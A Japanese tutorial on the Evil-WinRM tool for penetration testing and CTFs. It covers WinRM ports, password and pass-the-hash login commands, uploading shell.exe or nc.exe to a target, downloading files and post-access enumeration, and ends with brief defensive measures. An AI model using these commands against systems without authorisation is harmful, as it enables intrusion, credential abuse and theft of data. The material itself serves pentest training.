はじめに
Windows リモートシェル取得ツール（Red Team / Pentest）
レッドチームやペネトレーションテストにおいて、Windows マシンへ侵入後に 安定したシェルを取得すること は非常に重要です。
その際によく使われるツールの一つが Evil-WinRM です。
Evil-WinRM は WinRM（Windows Remote Management） を利用して Windows にリモート接続するためのツールで、
CTF や実際のペネトレーションテストでも頻繁に使用されます。
1. WinRM とは.
WinRM（Windows Remote Management） は、Microsoft が提供する リモート管理プロトコル です。
管理者は WinRM を利用することで、遠隔の Windows マシンに対して PowerShell やコマンドを実行できます。
主な特徴
- Windows 標準機能
- PowerShell Remoting の基盤
- HTTP / HTTPS を利用
- 管理用途で広く使用
主なポート
| ポート | 用途 |
|---|---|
| 5985 | HTTP WinRM |
| 5986 | HTTPS WinRM |
2. Evil-WinRM とは
Evil-WinRM は WinRM 接続を攻撃者向けに使いやすくしたツールです。
GitHub
https://github.com/Hackplayers/evil-winrm
主な機能
- PowerShell リモートシェル
- ファイルアップロード
- ファイルダウンロード
- Pass-the-Hash
- スクリプト実行
- メモリ上ロード
レッドチームでは
侵入後の Windows 操作ツール として定番です。
3. インストール
Kali Linux
多くの場合すでにインストールされています。
確認
evil-winrm
もし入っていない場合
sudo gem install evil-winrm
4. 基本接続
ユーザー名とパスワードで接続
evil-winrm -i 10.10.10.10 -u Administrator -p 'Password123!'
オプション
| オプション | 説明 |
|---|---|
| -i | 接続先 IP |
| -u | ユーザー |
| -p | パスワード |
接続成功すると
Evil-WinRM shell v3.4
PS C:\Users\Administrator>
PowerShell シェルが取得できます。
5. Pass-the-Hash 接続
NTLM ハッシュがある場合
evil-winrm -i 10.10.10.10 -u Administrator -H <NTLM_HASH>
これは Pass-the-Hash 攻撃 と呼ばれます。
6. ファイルアップロード
ローカルファイルをターゲットに送る
upload shell.exe
例
upload nc.exe
保存先
C:\Users\<user>\Documents
7. ファイルダウンロード
ターゲットからローカルへ
download secret.txt
8. PowerShell 実行
通常の PowerShell コマンドが実行可能
例
whoami
systeminfo
ipconfig
9. 列挙（Enumeration）
侵入後はシステム情報を確認します。
例
ユーザー確認
whoami
権限確認
whoami /priv
ユーザー一覧
net user
管理者グループ
net localgroup administrators
10. WinRM が使えるか確認
nmap で確認
nmap -p 5985,5986 10.10.10.10
結果例
5985/tcp open wsman
5986/tcp open https
11. WinRM 有効条件
Evil-WinRM が使える条件
- WinRM が有効
- ポート 5985 / 5986 開放
- 有効な資格情報
12. よくある侵入フロー
ペネトレーションテストでは以下の流れが多いです。
Recon
↓
ポートスキャン
↓
資格情報取得
↓
evil-winrm
↓
Windowsシェル取得
↓
権限昇格
13. 他のリモートツールとの違い
| ツール | プロトコル |
|---|---|
| RDP | GUI |
| SMB / PsExec | SMB |
| SSH | Linux |
| Evil-WinRM | WinRM |
14. セキュリティリスク
企業環境では WinRM は便利ですが、設定が不適切だと侵入経路になります。
主なリスク
- 弱いパスワード
- Pass-the-Hash
- Credential Leak
- lateral movement
15. 防御対策
Blue Team 側の対策
- WinRM 制限
- 強い認証
- ログ監視
- EDR
- MFA
まとめ
Evil-WinRM は Windows 環境のペネトレーションテストで非常に重要なツールです。
主な特徴
- WinRM を利用したリモートシェル
- PowerShell 操作
- Pass-the-Hash 対応
- Red Team / CTF 定番ツール
Windows 環境での侵入後操作を学ぶなら
必ず覚えるべきツールの一つです。